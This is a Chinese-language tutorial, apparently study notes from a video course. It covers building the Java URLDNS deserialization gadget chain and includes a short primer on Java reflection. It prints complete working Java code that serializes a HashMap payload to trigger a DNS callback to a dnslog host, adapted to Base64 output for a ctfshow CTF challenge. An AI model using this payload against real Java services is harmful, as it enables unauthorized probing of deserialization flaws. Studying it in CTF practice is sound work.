前言
学习视频从这里开始看:
- 第一部分:https://www.bilibili.com/video/BV16h411z7o9?t=1105.7&p=2
- 第二部分:https://www.bilibili.com/video/BV16h411z7o9?t=1180.1
快捷键
这里有几个快捷键,可以记忆一下。
比如说查看结构:alt
+7
查看层次结构:ctrl
+ H
URLDNS 链子构建
代码分析
URL有继承Serializable就证明他是可以被序列化的:
而且需要使用一个较为常见的函数hashCode:
调用了handler的hashCode函数,
其中的getHostAddress就会对域名进行解析,然后就可以利用。
dnslog生成一个网址来测试。
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
static String tarURL = "http://qdgj5w.dnslog.cn";
public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL(tarURL);
hashMap.put(url, 1);
serialize(hashMap);
}
}
正常来说当运行 main 函数时不会访问URL,但实际上运行的结果是会访问URL的。
为什么呢,因为HashMap的put方法中就已经调用了hashCode函数:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
其中的hash():
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hashCode会被初始化设定为-1.
如果在put方法中执行一次,导致其不再是-1,就无法进入后面的handler的hashCode。
这就会导致不执行handler的hashCode。
也就是:
设定 hashCode = -1
↓
hashmap.put(url, 1);
↓
hashcode = url的hashCode
无法在serialize中触发。
我们可以测试一下在发序列化中是否触发:
class Deserialize {
static String filename = "ser.bin";
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
deserialize(filename);
}
}
运行之后并没有收到请求。
也就是说我们目前的问题就变成了:
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
URL url = new URL(tarURL);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
serialize(hashMap);
其中这里将hashCode改回1就用到了反射,那反射是什么呢?
正射和反射
要想知道什么是反射,那就要先了解什么是正射:
Player boogipop = new Player();
boogipop.playGame("GENSHIN");
也就是先实例化对象,然后对对象进行操作。
而反射与正射不同,比如你并不知道原来所实例化的对象是什么。
Class class1 = boogipop.getClass();
Method method1 = class1.getMethod("playGame", String.class);
Constructor constructor = class1.getConstructor();
Object object = constructor.newInstance();
method1.invoke(object, "GENSHIN");
示例代码:
class ReflectionTest {
public static void main(String[] args) {
Person person = new Person();
Class c = person.getClass();
// * 反射就是对Class进行操作
// * 从抽象类Class中实例化对象
// c.newInstance();
// * 获取构造器 比如需要传入什么参数
Constructor constructor = c.getConstructor(String.class, int.class);
// * 传入参数,生成对象
Person person = (Person) constructor.newInstance("Boogipop", 6);
System.out.println(person);
// * 获取参数
Field[] personFields = c.getFields();
// * 获取所有参数 包括private protected等
Field[] personFields1 = c.getDeclaredFields();
for (Field f:personFields){
System.out.println(f);
}
// * 根据变量名获取
Field nameField = c.getField("name");
// * 允许访问
nameField.setAccessible(true);
nameField.set(person, "Berial");
System.out.println(person);
// * 调用方法
Method[] method = c.getMethods();
for (Method method1:method){
System.out.println(method1);
}
// * 获取方法
Method actionMethod = c.getMethod("playGame", String.class);
// * 执行方法
actionMethod.invoke(person, "GENSHIN");
}
}
修改代码
知道了反射,就可以使用反射修改其中的hashCode。
也就是这样:
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
// * 如果hashCode已经是-1了就不会发起请求
URL url = new URL(tarURL);
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 随便赋值一个不是-1就行
hashCode.set(url, 1);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
hashCode.set(url, -1);
serialize(hashMap);
}
在反序列化之后我们才收到请求:
完整代码:
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class URLDNS {
// * 记得去掉后面的/
static String tarURL = "http://test";
public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
// * 如果hashCode已经是-1了就不会发起请求
URL url = new URL(tarURL);
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 随便赋值一个不是-1就行
hashCode.set(url, 1);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
hashCode.set(url, -1);
serialize(hashMap);
}
}
class Deserialize {
static String filename = "ser.bin";
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
deserialize(filename);
}
}
测试
ctfshow web846
修改serialize代码:
public static void serialize(Object obj) throws IOException{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}
来方便查看输出的内容。
post传入输出的内容即可: